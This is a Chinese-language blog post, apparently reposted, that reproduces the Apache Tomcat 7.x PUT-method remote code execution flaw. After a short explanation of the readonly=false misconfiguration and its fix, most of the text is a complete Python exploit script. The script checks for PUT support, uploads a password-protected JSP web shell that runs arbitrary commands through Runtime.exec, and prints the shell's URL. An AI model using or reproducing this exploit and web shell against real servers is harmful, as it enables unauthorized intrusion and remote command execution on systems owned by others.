tomcat 遠程命令執行漏洞復現


影響范圍

Apache Tomcat 7.0.0 - 7.0.81

不受影響的版本

Apache Tomcat 8.x

Apache Tomcat 9.x

漏洞分析

在Tomcat安裝目錄下的配置文件web.xml中的org.apache.catalina.servlets.DefaultServlet方法下如果該方法有如下代碼,即表示Tomcat已開啟PUT方法

<init-param> 
      <param-name>readonly</param-name> 
      <param-value>false</param-value> 
</init-param>

確保readonly參數為true(默認值),即不允許DELETE和PUT操作。

exp:

#! -*- coding:utf-8 -*- 

import httplib

import sys

import time

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''

try:

    conn = httplib.HTTPConnection(sys.argv[1])

    conn.request(method='OPTIONS', url='/ffffzz')

    headers = dict(conn.getresponse().getheaders())

    if 'allow' in headers and \

       headers['allow'].find('PUT') > 0 :

        conn.close()

        conn = httplib.HTTPConnection(sys.argv[1])

        url = "/" + str(int(time.time()))+'.jsp/'

        #url = "/" + str(int(time.time()))+'.jsp::$DATA'

        conn.request( method='PUT', url= url, body=body)

        res = conn.getresponse()

        if res.status  == 201 :

            #print 'shell:', 'http://' + sys.argv[1] + url[:-7]

            print 'shell:', 'http://' + sys.argv[1] + url[:-1]

        elif res.status == 204 :

            print 'file exists'

        else:

            print 'error'

        conn.close()

    else:

        print 'Server not vulnerable'

except Exception,e:

    print 'Error:', e
View Code

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM